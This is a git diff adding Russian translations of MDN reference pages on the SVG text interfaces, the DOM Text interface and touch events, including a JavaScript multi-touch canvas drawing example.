diff --git a/files/ru/web/api/svgtextcontentelement/index.html b/files/ru/web/api/svgtextcontentelement/index.html new file mode 100644 index 0000000000..384958a557 --- /dev/null +++ b/files/ru/web/api/svgtextcontentelement/index.html @@ -0,0 +1,110 @@ +--- +title: SVGTextContentElement +slug: Web/API/SVGTextContentElement +tags: + - SVG + - Справка +translation_of: Web/API/SVGTextContentElement +--- +
{{APIRef("SVG")}}
+ +

Интерфейс SVGTextContentElement реализуется элементами, которые поддерживают рендеринг дочернего текстового содержимого. Он наследуется различными текстовыми интерфейсами, такими как {{domxref("SVGTextElement")}}, {{domxref("SVGTSpanElement")}}, {{domxref("SVGTRefElement")}}, {{domxref("SVGAltGlyphElement")}} и {{domxref("SVGTextPathElement")}}.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

Константы

+ + + + + + + + + + + + + + + + + + + + + + + + +
КонстантаЗначение Описание
LENGTHADJUST_UNKNOWN0Иная ценность.
LENGTHADJUST_SPACING1spacing дескриптор.
LENGTHADJUST_SPACINGANDGLYPHS2spacingAndGlyphs дескриптор.
+ +

Свойства

+ +

Этот интерфейс также наследует свойства от его родителя,
+ {{domxref("SVGGraphicsElement")}}. 

+ +
+
{{domxref("SVGTextContentElement.textLength")}} {{ReadOnlyInline}}
+
{{domxref("SVGAnimatedLength")}}, отражает атрибут {{SVGAttr("textLength")}} данного элемента.
+
{{domxref("SVGTextContentElement.lengthAdjust")}} {{ReadOnlyInline}}
+
{{domxref("SVGAnimatedEnumeration")}}, отражает атрибут {{SVGAttr("lengthAdjust")}} данного элемента. Значения числового типа представляют одно из значений константы выше.
+
 
+
+ +

Методы

+ +

Этот интерфейс также наследует методы от его родителя, {{domxref("SVGGraphicsElement")}}

+ +
+
{{domxref("SVGTextContentElement.getNumberOfChars()")}}
+
Возвращает длину, представляющую общее количество адресуемых символов, доступных для рендеринга в текущем элементе, независимо от того, будут ли они отображаться.
+
{{domxref("SVGTextContentElement.getComputedTextLength()")}}
+
Возвращает float, представляющий вычисленную длину для текста внутри элемента.
+
{{domxref("SVGTextContentElement.getSubStringLength()")}}
+
Возвращает float, представляющий вычисленную длину форматированного расстояния продвижения текста для подстроки текста внутри элемента. Обратите внимание, что этот метод учитывает только ширину глифов в подстроке и любые дополнительные интервалы, вставленные свойствами CSS «letter-spacing» и «word-spacing». Настройки визуального интервала, сделанные атрибутом «x», игнорируются.
+
{{domxref("SVGTextContentElement.getStartPositionOfChar()")}}
+
Возвращает {{domxref("DOMPoint")}}, представляющий позицию типографического символа после выполнения макета текста. +

Примечание: В SVG 1.1 этот метод вернул {{domxref("SVGPoint")}}.

+
+
{{domxref("SVGTextContentElement.getEndPositionOfChar()")}}
+
Возвращает {{domxref("DOMPoint")}}, представляющий конечную позицию типографического символа после выполнения макета текста. +

Примечание: В SVG 1.1 этот метод вернул {{domxref("SVGPoint")}}.

+
+
{{domxref("SVGTextContentElement.getExtentOfChar()")}}
+
Возвращает {{domxref("DOMRect")}}, представляющий вычисляемые габариты ячейки глифа, соответствующие заданному типографическому символу.
+
{{domxref("SVGTextContentElement.getRotationOfChar()")}}
+
Возвращает поплавок float, представляющий поворот типографического символа.
+
{{domxref("SVGTextContentElement.getCharNumAtPosition()")}}
+
Возвращает длину символа, заставляющего текстовый глиф отображаться в заданной позиции в системе координат. Поскольку связь между символами и глифами не является взаимно однозначной, возвращается только первый символ соответствующего типографического символа. 
+
{{domxref("SVGTextContentElement.selectSubString()")}} {{deprecated_inline}}
+
Выбирает текст внутри элемента.
+
+ +

Характеристики

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКоммент
{{SpecName("SVG2", "text.html#InterfaceSVGTextContentElement", "SVGTextContentElement")}}{{Spec2("SVG2")}}Измененное наследование от {{domxref("SVGElement")}} до {{domxref("SVGGraphicsElement")}} и getStartPositionOfChar() удаленных реализаций {{domxref("SVGTests")}}, {{domxref("SVGLangSpace" )}}, {{domxref("SVGExternalResourcesRequired")}}, {{domxref("SVGStylable")}} интерфейсов и getEndPositionOfChar(), чтобы вернуть {{domxref("DOMPoint")}} вместо {{domxref( "SVGPoint")}}.
{{SpecName("SVG1.1", "text.html#InterfaceSVGTextContentElement", "SVGTextContentElement")}}{{Spec2("SVG1.1")}}Начальное определение
+ +

Совместимость с браузером

+ + + +

{{Compat("api.SVGTextContentElement")}}

diff --git a/files/ru/web/api/svgtextelement/index.html b/files/ru/web/api/svgtextelement/index.html new file mode 100644 index 0000000000..f1e27d56a3 --- /dev/null +++ b/files/ru/web/api/svgtextelement/index.html @@ -0,0 +1,61 @@ +--- +title: SVGTextElement +slug: Web/API/SVGTextElement +tags: + - SVG + - Text + - Текст +translation_of: Web/API/SVGTextElement +--- +
{{APIRef("SVG")}}
+ +

Интерфейс SVGTextElement соответствует элементам {{SVGElement("text")}}.

+ +
{{InheritanceDiagram(600, 120)}}
+ +

Свойства

+ +

Этот интерфейс не реализует никаких конкретных свойств, но наследует свойства от его родительского интерфейса, {{domxref("SVGTextPositioningElement")}}. 

+ +

Методы

+ +

Этот интерфейс не реализует никаких конкретных методов, но наследует методы от его родительского интерфейса, {{domxref("SVGTextPositioningElement")}}.

+ +

Характеристики

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКоммент
{{SpecName("SVG2", "text.html#InterfaceSVGTextElement", "SVGTextElement")}}{{Spec2("SVG2")}} +

Удален реализованный
+ интерфейс {{domxref("SVGTransformable")}}.

+
{{SpecName("SVG1.1", "text.html#InterfaceSVGTextElement", "SVGTextElement")}}{{Spec2("SVG1.1")}}Начальное определение
+ +

Совместимость с браузером

+ +
+ + +

{{Compat("api.SVGTextElement")}}

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/text/index.html b/files/ru/web/api/text/index.html new file mode 100644 index 0000000000..f8e5f25f0e --- /dev/null +++ b/files/ru/web/api/text/index.html @@ -0,0 +1,112 @@ +--- +title: Текст +slug: Web/API/Text +tags: + - Node + - Text + - Текст +translation_of: Web/API/Text +--- +

{{ApiRef("DOM")}}

+ +

Интерфейс Text представляет собой текстовое содержание (элемента) {{domxref("Element")}} или {{domxref("Attr")}}.  Если элемент не имеет разметки внутри собственного содержимого, то он интерпретируется как a single child (implementing) Text ,который содержит текст элемента.  Однако, если элемент содержит разметку, он разбивается на information items и Text nodes ,которые образуют его дочерние элементы.

+ +

Новые документы имеют единственный(одиночный) Text node для каждого блока текста. Со временем, могут быть созданы новые Text nodes, по мере того, как изменяется содержимое документа.  Метод {{domxref("Node.normalize()")}} производит слияние смежных объектов Text обратно в a single node для каждого блока текста.

+ +

{{InheritanceDiagram}}

+ +

Конструктор

+ +
+
{{domxref("Text.Text", "Text()")}} {{experimental_inline}}
+
Возвращает Text node с параметром, который представляет собой его текстовое содержимое.
+
+ +

Свойства

+ +

Inherits properties from its parent, {{domxref("CharacterData")}}.

+ +
+
{{domxref("Text.isElementContentWhitespace")}} {{readonlyInline}}{{ obsolete_inline() }}
+
+

Возвращает флаг {{domxref("Boolean")}}, сигнализирующий, содержит ли (или нет) text node только пробел(ы).

+
+
{{domxref("Text.wholeText")}} {{readonlyInline}}
+
Возвращает {{domxref("DOMString")}}, который содержит все Text nodes логически примыкающие к этому {{domxref("Node")}}, соединенные как в документе.
+
{{domxref("Text.assignedSlot")}} {{readonlyinline}}
+
Возвращает объект {{domxref("HTMLSlotElement")}}, связанный с этим элементом.
+
+ +

Свойства (included) от Slotable

+ +

Интерфейс Textвключает следующее свойство, определяемое при смешивании {{domxref("Slotable")}} .

+ +
+
{{domxref("Slotable.assignedSlot")}} {{readonlyInline}}
+
Возвращает {{domxref("HTMLSlotElement")}}, представляющий {{htmlelement("slot")}}, в который вставлен данный узел.
+
+ +

Методы

+ +

Наследует родительские методы, {{domxref("CharacterData")}}.

+ +
+
+ +
+
{{domxref("Text.replaceWholeText")}} {{ obsolete_inline() }}
+
Заменяет текст текущего узла и  всех логически прилегающих узлов указанным текстом(with the specified text).
+
+ +
+
{{domxref("Text.splitText")}}
+
Разбивает узел на два узла с заданным отступом.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#text', 'Text')}}{{Spec2('DOM WHATWG')}}Удалено свойство isElementContentWhitespace.
+ Удален метод replaceWholeText().
+ Добавлен конструктор Text().
+ Добавлено свойство assignedSlot.
{{SpecName('DOM3 Core', 'core.html#ID-1312295772', 'Text')}}{{Spec2('DOM3 Core')}}Добавлены свойства isElementContentWhitespace и wholeText.
+ Добавлен метод replaceWholeText().
{{SpecName('DOM2 Core', 'core.html#ID-1312295772', 'Text')}}{{Spec2('DOM2 Core')}}Без изменений по сравнению с  {{SpecName('DOM1')}}.
{{SpecName('DOM1', 'level-one-core.html#ID-1312295772', 'Text')}}{{Spec2('DOM1')}}Первоначальное определение.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Text")}}

+ +

Смотри(те) также

+ + diff --git a/files/ru/web/api/touch/index.html b/files/ru/web/api/touch/index.html new file mode 100644 index 0000000000..c7d6df32b8 --- /dev/null +++ b/files/ru/web/api/touch/index.html @@ -0,0 +1,108 @@ +--- +title: Touch +slug: Web/API/Touch +translation_of: Web/API/Touch +--- +

{{ APIRef("Touch Events") }}

+ +

Интерфейс Touch представляет определённую точку касания на сенсорном устройстве. Точка касания – это место контакта пальца или стилуса с сенсорной поверхностью тачскрина или трекпада.

+ +

Свойства {{ domxref("Touch.radiusX") }}, {{ domxref("Touch.radiusY") }}, и {{ domxref("Touch.rotationAngle") }} содержат данные об области контакта между пользователем и экраном – области касания. Они могут быть полезны при работе с устройствами, предусматривающими указатели низкой точности, например палец. Эти значения описывают эллипс, который соответствует области контакта (например, кончик пальца пользователя). {{experimental_inline}}

+ +
+

Примечание: Многие значения зависят от устройства; например, если устройство не способно измерять силу нажатия на сенсорную поверхность, значение force всегда будет равняться 0. То же касается значений radiusX и radiusY; если у устройства только одна точка касания, данные значения всегда будут равны 1.

+
+ +

Конструктор

+ +
+
{{domxref("Touch.Touch", "Touch()")}} {{experimental_inline}}
+
Создаёт объект Touch.
+
+ +

Свойства

+ +

Данный интерфейс не имеет предков, не наследует и не реализует другие свойства

+ +

Основные свойства

+ +
+
{{ domxref("Touch.identifier") }} {{readonlyInline}}
+
Возвращает уникальный идентификатор указанного объекта Touch. Данная точка касания (например, пальцем) будет иметь один и тот же идентификатор на протяжении всего движения по сенсорной поверхности. Это гарантирует, что вы всё время отслеживаете одно и то же касание.
+
{{ domxref("Touch.screenX") }} {{readonlyInline}}
+
Возвращает координату X точки касания относительно левого края экрана.
+
{{ domxref("Touch.screenY") }} {{readonlyInline}}
+
Возвращает координату Y точки касания относительно верхнего края экрана.
+
{{ domxref("Touch.clientX") }} {{readonlyInline}}
+
Возвращает координату X точки касания относительно левого края окна браузера, не учитывая прокрутку.
+
{{ domxref("Touch.clientY") }} {{readonlyInline}}
+
Возвращает координату Y точки касания относительно верхнего края окна браузера, не учитывая прокрутку.
+
{{ domxref("Touch.pageX") }} {{readonlyInline}}
+
Возвращает коодринату X точки касания относительно левого края документа. В отличие от clientX, это значение учитывает горизонтальную прокрутку, если она есть.
+
{{ domxref("Touch.pageY") }} {{readonlyInline}}
+
Возвращает коодринату Y точки касания относительно верхнего края документа. В отличие от clientY, это значение учитывает вертикальную прокрутку, если она есть.
+
{{ domxref("Touch.target") }} {{readonlyInline}}
+
Возвращает элемент ({{ domxref("Element")}}), на который попала точка касания, когда впервые появилась на сенсорной поверхности, даже если потом она была смещена за пределы данного элемента или даже была удалена из документа.
+
+ +

Область касания

+ +

{{SeeCompatTable}}

+ +
+
{{ domxref("Touch.radiusX") }} {{readonlyInline}} {{experimental_inline}}
+
Возвращает радиус элипса по оси X, наиболее близко соответствующий области контакта с экраном. Значение в пикселях того же масштаба, что и screenX.
+
{{ domxref("Touch.radiusY") }} {{readonlyInline}} {{experimental_inline}}
+
Возвращает радиус элипса по оси Y, наиболее близко соответствующий области контакта с экраном. Значение в пикселях того же масштаба, что и screenY.
+
{{ domxref("Touch.rotationAngle") }} {{readonlyInline}} {{experimental_inline}}
+
Возвращает угол (в градусах), на который описываемый эллипс должен быть повёрнут по часовой стрелке, чтобы наиболее точно покрыть область контакта пользователя с сенсорной поверхностью.
+
{{ domxref("Touch.force") }}{{readonlyInline}} {{experimental_inline}}
+
Возвращает силу давления пользователем на сенсорную поверхность. Является числом от 0.0 (без давления) до 1.0 (максимальное давление).
+
+ +

Методы

+ +

Этот интерфейс не имеет метода и родителя, а также не наследует и не реализует какой-либо метод.

+ +
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Touch Events 2', '#touch-interface', 'Touch')}}{{Spec2('Touch Events 2')}}Добавлены свойства radiusX, radiusY, rotationAngle, force, и также конструктор Touch().
{{SpecName('Touch Events', '#touch-interface', 'Touch')}}{{Spec2('Touch Events')}}Исходное определение.
+ +

Совместимость с браузерами

+ +
+ + +

{{Compat("api.Touch")}}

+
+ +

Смотрите также

+ + + +
+
diff --git a/files/ru/web/api/touch_events/index.html b/files/ru/web/api/touch_events/index.html new file mode 100644 index 0000000000..be6d85889a --- /dev/null +++ b/files/ru/web/api/touch_events/index.html @@ -0,0 +1,337 @@ +--- +title: События касаний (тач-события) +slug: Web/API/Touch_events +translation_of: Web/API/Touch_events +--- +
{{DefaultAPISidebar("Touch Events")}}
+ +

Чтобы предоставить качественную поддержку пользовательского интерфейса, связанного с касаниями, тач-события предлагают возможность интерпретировать действия пальца (или стилуса) на сенсорных экранах или трекпадах.

+ +

Интерфейсы событий касания - это относительно низкоуровневые API, которые можно использовать для поддержки приложений со специфическими мультитач-взаимодействиями, например жестом двумя пальцами. Мультитач взаимодействие запускается, когда палец (или стилус) впервые касается контакной поверхности. Другие пальцы могут следом коснуться поверхности и, если нужно, перемещаться по ней. Взаимодействие считается завершённым, когда пальцы с поверхности убираются. Во время взаимодействия, события касания срабатывают на начальном этапе (первое прикосновение), этапе перемещения по поверхности, и завершающем этапе (когда пальцы убираются с поверхности)..

+ +

События касаний подобны событиям мыши за исключением того, что они поддерживают несколько одновременных касаний в разных местах сенсорной поверхности. Интерфейс {{domxref("TouchEvent")}} содержит все активные в данный момент точки прикосновения. Интерфейс {{domxref("Touch")}}, который представляет одну точку касания, включает такую информацию, как позиция точки касания относительно области видимости браузера.

+ +

Определения

+ +
+
Поверхность (Surface)
+
Чувствительная к касаниям поверхность. Это может быть экран или трекпад.
+
+ +
+
Точка касания (Touch point)
+
Точка контакта с поверхностью. Это может быть палец (или локоть, ухо, нос, что угодно, но обычно это палец) или стилус. 
+
+ +

Интерфейсы

+ +
+
{{domxref("TouchEvent")}}
+
Представляет событие, происходящее при изменении состояния касания поверхности.
+
{{domxref("Touch")}}
+
Представляет одну точку контакта пользователя с сенсорной поверхностью.
+
{{domxref("TouchList")}}
+
Представляет группу касаний; это используется, если пользователь, например, касается поверхности несколькими пальцами одновременно.
+
+ +

Пример

+ +

В этом примере отслеживаются несколько касаний одновременно, позволяя пользователю рисовать в {{HTMLElement("canvas")}} несколькими пальцами одновременно. Это будет работать лишь в браузере, который поддерживает touch-события.

+ +
Примечание: В тексте ниже для описания контакта с поверхностью используется понятие "палец", но это также может быть стилус или другой способ контакта.
+ +

Создание canvas

+ +
<canvas id="canvas" width="600" height="600" style="border:solid black 1px;">
+  Ваш браузер не поддерживает элемент canvas.
+</canvas>
+<br>
+Log: <pre id="log" style="border: 1px solid #ccc;"></pre>
+ +

Добавление обработчиков событий

+ +

После загрузки страницы будет вызвана функция startup(), показанная ниже

+ +
function startup() {
+  var el = document.getElementById("canvas");
+  el.addEventListener("touchstart", handleStart, false);
+  el.addEventListener("touchend", handleEnd, false);
+  el.addEventListener("touchcancel", handleCancel, false);
+  el.addEventListener("touchmove", handleMove, false);
+}
+ +

document.addEventListener("DOMContentLoaded", startup);

+ +

Данная функция просто добавляет обработчики событий для элемента {{HTMLElement("canvas")}}, чтобы мы могли обрабатывать события касания по мере их возникновения

+ +

Отслеживание новых касаний

+ +

Рассмотрим касания в действии.

+ +
var ongoingTouches = [];
+
+ +

Когда возникает событие {{event("touchstart")}}, свидетельствующее о новом касании к поверхности, вызывается приведённая ниже функция handleStart().

+ +
function handleStart(evt) {
+  evt.preventDefault();
+  console.log("touchstart.");
+  var el = document.getElementById("canvas");
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i < touches.length; i++) {
+    console.log("touchstart:" + i + "...");
+    ongoingTouches.push(copyTouch(touches[i]));
+    var color = colorForTouch(touches[i]);
+    ctx.beginPath();
+    ctx.arc(touches[i].pageX, touches[i].pageY, 4, 0, 2 * Math.PI, false);  // a circle at the start
+    ctx.fillStyle = color;
+    ctx.fill();
+    console.log("touchstart:" + i + ".");
+  }
+}
+
+ +

Она вызывает {{domxref("event.preventDefault()")}} для того, чтобы предотвратить обработку браузером события касания (это также предотвращает обработку события мыши). Затем мы получаем контекст и извлекаем список измененных точек касаний из свойства {{domxref("TouchEvent.changedTouches")}} данного события.

+ +

После этого мы перебираем все объекты {{domxref("Touch")}} в списке, помещая их в массив активных точек касания и рисуя начальную точку в виде маленького кружка; мы используем линию толщиной 4 пикселя, поэтому получим аккуратный круг радиусом 4 пикселя.

+ +

Рисование движением

+ +

Каждый раз, когда двигается один или несколько пальцев, срабатывает событие {{event("touchmove")}}, в результаете чего вызывается наша функция handleMove().В этом примере данная функция ответственна за обновление данных о касании и рисование линии от предыдущей до текущей точки касания.

+ +
function handleMove(evt) {
+  evt.preventDefault();
+  var el = document.getElementById("canvas");
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i < touches.length; i++) {
+    var color = colorForTouch(touches[i]);
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+
+    if (idx >= 0) {
+      console.log("continuing touch "+idx);
+      ctx.beginPath();
+      console.log("ctx.moveTo(" + ongoingTouches[idx].pageX + ", " + ongoingTouches[idx].pageY + ");");
+      ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+      console.log("ctx.lineTo(" + touches[i].pageX + ", " + touches[i].pageY + ");");
+      ctx.lineTo(touches[i].pageX, touches[i].pageY);
+      ctx.lineWidth = 4;
+      ctx.strokeStyle = color;
+      ctx.stroke();
+
+      ongoingTouches.splice(idx, 1, copyTouch(touches[i]));  // swap in the new touch record
+      console.log(".");
+    } else {
+      console.log("can't figure out which touch to continue");
+    }
+  }
+}
+
+ +

Функция также перебирает измененные касания, ищет в нашем массиве данных о касаниях предыдущие данные о каждом касании для определения начальной точки каждого отрезка линии, который должен быть нарисован с помощью касания. Это реализовано путем отслеживания свойства {{domxref("Touch.identifier")}} каждого касания. Это свойство является уникальным числом для каждого касания, и остается неизменным на протяжении всего времени контакта пальца с экраном.

+ +

Это позволяет нам получать координаты предыдущей позиции каждого касания и использовать подходящий метод "canvas-контекста" для рисования отрезка линии, соединяющего начало и конец.

+ +

После рисования линии, мы вызываем Array.splice(), чтобы в массиве ongoingTouches заменить предыдущие данные о точке касания на текущие.

+ +

Обработка завершения касания

+ +

Когда пользователь убирает палец с сенсорной поверхности, срабатывает событие {{domxref("Element/touchend_event", "touchend")}}. Мы обрататываем его, вызывая фунцию handleEnd(), которая представлена ниже. Ее задача - рисовать последний отрезок линии для каждого касания, которое завершилось, и удалять точку касания из текущего списка касаний.

+ +
function handleEnd(evt) {
+  evt.preventDefault();
+  log("touchend");
+  var el = document.getElementById("canvas");
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i < touches.length; i++) {
+    var color = colorForTouch(touches[i]);
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+
+    if (idx >= 0) {
+      ctx.lineWidth = 4;
+      ctx.fillStyle = color;
+      ctx.beginPath();
+      ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+      ctx.lineTo(touches[i].pageX, touches[i].pageY);
+      ctx.fillRect(touches[i].pageX - 4, touches[i].pageY - 4, 8, 8);  // and a square at the end
+      ongoingTouches.splice(idx, 1);  // remove it; we're done
+    } else {
+      console.log("can't figure out which touch to end");
+    }
+  }
+}
+
+ +

Она очень похожа на предыдущюю функцию; единственное отличие заключается в том, что,что теперь мы рисуем маленький квадрат, чтобы обозначить конец, и в том, что когда мы мы вызываем  Array.splice(), мы просто удаляем старую запись из текущего списка касаний без добавления обновленной информации. В результате мы прекращаем отслеживать эту точку касания.

+ +

Обработка отмененных касаний

+ +

Если палец пользователя перемещается в интерфейс браузера или прикосновение должно быть отменено, отправляется событие {{domxref("Element/touchcancel_event", "touchcancel")}}, и мы вызываем функцию handleCancel(), приведённую ниже.

+ +
function handleCancel(evt) {
+  evt.preventDefault();
+  console.log("touchcancel.");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i < touches.length; i++) {
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+    ongoingTouches.splice(idx, 1);  // remove it; we're done
+  }
+}
+
+ +

Поскольку идея состоит в том, чтобы немедленно прервать касание, мы просто удаляем его из текущего списка касаний без рисования завершающего отрезка линии.

+ +

Удобные функции

+ +

Этот пример использует две удобные функции, которые следует кратко рассмотреть, чтобы сделать остальную часть кода более понятной.

+ +

Выбор цвета для каждого касания

+ +

Чтобы рисунок каждого касания выглядел по-разному, используется функция colorForTouch(), в которой цвета выбираются на основе уникального идентификатора касаний. Этот идентификатор является скрытым числом, но мы, по крайней мере, можем полагаться на то, что у каждого активного на данный момент касания он уникальный.

+ +
function colorForTouch(touch) {
+  var r = touch.identifier % 16;
+  var g = Math.floor(touch.identifier / 3) % 16;
+  var b = Math.floor(touch.identifier / 7) % 16;
+  r = r.toString(16); // make it a hex digit
+  g = g.toString(16); // make it a hex digit
+  b = b.toString(16); // make it a hex digit
+  var color = "#" + r + g + b;
+  console.log("color for touch with identifier " + touch.identifier + " = " + color);
+  return color;
+}
+
+ +

Результатом этой функции является строка, которую можно использовать при вызове {{HTMLElement("canvas")}}-функций для задания цвета рисования. Например, для значения {{domxref("Touch.identifier")}}, равного 10, результатом будет "#a31".

+ +

Копирование объекта касания

+ +

Некоторые браузеры (например, мобильный Safari) повторно используют объекты касания в разных событиях, поэтому лучше копировать только важные свойства, а не ссылаться на весь объект.

+ +
function copyTouch({ identifier, pageX, pageY }) {
+  return { identifier, pageX, pageY };
+}
+ +

Поиск текущего касания

+ +

Приведённая ниже функция ongoingTouchIndexById() сканирует весь массив ongoingTouches, чтобы найти касание, соответствующее данному идентификатору, после чего возвращает в массив индекс этого касания.

+ +
function ongoingTouchIndexById(idToFind) {
+  for (var i = 0; i < ongoingTouches.length; i++) {
+    var id = ongoingTouches[i].identifier;
+
+    if (id == idToFind) {
+      return i;
+    }
+  }
+  return -1;    // not found
+}
+
+ +

Отображение происходящего

+ +
function log(msg) {
+  var p = document.getElementById('log');
+  p.innerHTML = msg + "\n" + p.innerHTML;
+}
+ +

Если ваш браузер поддерживает это, вы можете {{LiveSampleLink('Example', 'посмотреть живой пример')}}.

+ +

Пример sFiddle

+ +

Дополнительные советы

+ +

Этот раздел даёт дополнительные советы о том, как обрабатывать события касаний в ваших веб-приложениях.

+ +

Обработка кликов

+ +

Поскольку вызов preventDefault() для события {{event("touchstart")}} или первого события из серии событий {{domxref("Element/touchmove_event", "touchmove")}} предотвращает запуск соответствующих событий мыши, более распространена практика вызова preventDefault() именно для события touchmove, а не touchstart. Таким образом, события мыши всё ещё будут вызываться, а такие элементы, как ссылки, будут продолжать работать. В качестве альтернативы, в некоторых фреймворках для этой же цели события касаний дублируются событиями мыши.

+ +

Данный пример очень упрощён и может привести к странному поведению. Он уместен исключительно как учебный пример.

+ +
function onTouch(evt) {
+  evt.preventDefault();
+  if (evt.touches.length > 1 || (evt.type == "touchend" && evt.touches.length > 0))
+    return;
+
+  var newEvt = document.createEvent("MouseEvents");
+  var type = null;
+  var touch = null;
+
+  switch (evt.type) {
+    case "touchstart":
+      type = "mousedown";
+      touch = evt.changedTouches[0];
+      break;
+    case "touchmove":
+      type = "mousemove";
+      touch = evt.changedTouches[0];
+      break;
+    case "touchend":
+      type = "mouseup";
+      touch = evt.changedTouches[0];
+      break;
+  }
+
+  newEvt.initMouseEvent(type, true, true, evt.originalTarget.ownerDocument.defaultView, 0,
+    touch.screenX, touch.screenY, touch.clientX, touch.clientY,
+    evt.ctrlKey, evt.altKey, evt.shiftKey, evt.metaKey, 0, null);
+  evt.originalTarget.dispatchEvent(newEvt);
+}
+
+ +

Вызов preventDefault() только при втором касании

+ +

Один из способов запретить использовать на странице pinchZoom (зум с помощью щипка), – вызвать preventDefault() для второго касания, когда одно касание уже активно. Такое поведение плохо прописано в спецификации событий касаний и приводит к разному поведению в разных браузерах. Например, iOS предотвратит зум, но всё ещё будт позволять перетискивание (panning) двумя пальцами; в Android, наоборот, можно будет осуществлять перетаскивание (panning), но не зум; Opera и Firefox на данный момент предотвращают и перетаскивание (panning) и зум. На данный момент для запрета использования зума рекомендуется полагаться не на какое-то конкретное поведение, а на meta-данные для "viewport".

+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Touch Events 2', '#touch-interface', 'Touch')}}{{Spec2('Touch Events 2')}}Добавлены свойства radiusX, radiusY, rotationAngle, force
{{SpecName('Touch Events', '#touch-interface', 'Touch')}}{{Spec2('Touch Events')}}Начальное определение.
+ +

Совместимость с браузером

+ +

Touch

+ +

События касаний обычно доступны на устройствах с сенсорными экранами, но многие браузеры делают API событий касаний недоступными на всех компьютерах, даже имеющих сенсорный экран.

+ +

Прочина этого заключается в том, что некоторые веб-сайты используют поддержку данного API в качестве показателя того, что браузер запущен на мобильном устройстве. Если API событий касания доступен, значит эти сайты будут предполагать работу с мобильного устройства и предоставлять соответствующее содержимое, оптимизированное для мобильных устройств. Это может существенно усложнить работу для пользователей десктопов с сенсорными экранами.

+ +

Для поддержки и касаний и мыши на всех типах устройств, используйте вместо этого события указателя

+ + + +

{{Compat("api.Touch")}}

+ +

Firefox, события касаний и многопроцессность (e10s)

+ +

В Firefox события касания отключены, когда отключен e10s (электролиз; многопроцессорный Firefox). e10s включен по умолчанию в Firefox, но может в конечном итоге отключаться в определенных ситуациях, например, когда установлены определенные инструменты специальных возможностей или надстройки Firefox, для работы которых требуется отключение e10s. Это означает, что даже на настольном компьютере / ноутбуке с сенсорным экраном сенсорные события не будут включены.

+ +

Вы можете проверить, отключен ли e10s, перейдя в about:support и посмотрев на запись «Многопроцессорная Windows» в разделе «Основы приложения». 1/1 означает, что он включен, 0/1 означает отключен.

+ +

Если вы хотите принудительно включить e10s - чтобы явно повторно включить поддержку сенсорных событий - вам нужно перейти к about:config и создать новое логическое предпочтение browser.tabs.remote.force-enable. Установите значение true, перезапустите браузер, и e10s будет включен независимо от любых других настроек.

diff --git a/files/ru/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html b/files/ru/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html new file mode 100644 index 0000000000..51bbda0a17 --- /dev/null +++ b/files/ru/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html @@ -0,0 +1,63 @@ +--- +title: Поддержка TouchEvent и MouseEvent +slug: Web/API/Touch_events/Supporting_both_TouchEvent_and_MouseEvent +translation_of: Web/API/Touch_events/Supporting_both_TouchEvent_and_MouseEvent +--- +

{{DefaultAPISidebar("Touch Events")}}

+ +

Интерфейс {{domxref("Touch_events","touch")}} позволяет существенно повысить удобство работы с приложением через устройства с сенсорным экраном. Несмотря на это, большинство современного содержимого веба рассчитано только на работу с помощью мыши. Следовательно, даже если браузер поддерживает управление через сенсорную поверхность, он всё равно должен имитировать действия мыши, чтобы функционал, рассчитанный только на действия мыши, продолжал корректно работать.

+ +

В идеале, приложения, рассчитанные на управление касаниями, не нуждается в явной имитации действий мыши. Но так как браузер вынужден это делать, могут возникнуть некоторые проблемы взаимодействия, которые должны быть обработаны. Ниже приведены некоторые подробности таких проблем взаимодействия и последствия для разработчиков приложения.

+ +

Вызов события

+ +

Спецификация событий касания определяет несколько требований к браузеру, касающихся действий мышью или касаний сенсорной поверхности (подробнее смотрите в разделе спецификации "Работа с событиями мыши и клика"), отмечая, что браузер может вызывать как события касаний, так и события мыши в ответ на одно и то же действие пользователя.

+ +

Если в ответ на какое-то действие пользователя браузер вызывает и событие касания и событие мыши, то перед любыми событиями мыши браузер должен вызывать {{event("touchstart")}}. Следовательно, если нужно, чтобы при прикосновении к {{domxref("Touch.target","целевому")}} элементу события мыши не запускались, в обработчике события касания данного элемента нужно вызвать {{domxref("Event.preventDefault()","preventDefault()")}}. После этого никакие дополнительные события мыши не вызовутся.

+ +

Ниже представлен пример обработчика события {{event("touchmove")}}, вызывающий preventDefault()

+ +
// touchmove handler
+function process_touchmove(ev) {
+  // Call preventDefault() to prevent any further handling
+  ev.preventDefault();
+}
+
+ +

Последовательность событий

+ +

Хотя фактическая последовательность событий касания и мыши зависит от используемого программного обеспечания, спецификация предписывает придерживаться следующей последовательности:

+ + + +

Если в течение взаимодействия событие {{event("touchstart")}}, {{event("touchmove")}} или {{event("touchend")}} прерывается, события мыши или клика вызываться не будут, а итоговая последовательность событий будет просто:

+ + + +

Сообщество

+ + + +

Связанные темы и ресурсы

+ + diff --git a/files/ru/web/api/touch_events/using_touch_events/index.html b/files/ru/web/api/touch_events/using_touch_events/index.html new file mode 100644 index 0000000000..420a059e64 --- /dev/null +++ b/files/ru/web/api/touch_events/using_touch_events/index.html @@ -0,0 +1,154 @@ +--- +title: Использование событий касания +slug: Web/API/Touch_events/Using_Touch_Events +translation_of: Web/API/Touch_events/Using_Touch_Events +--- +

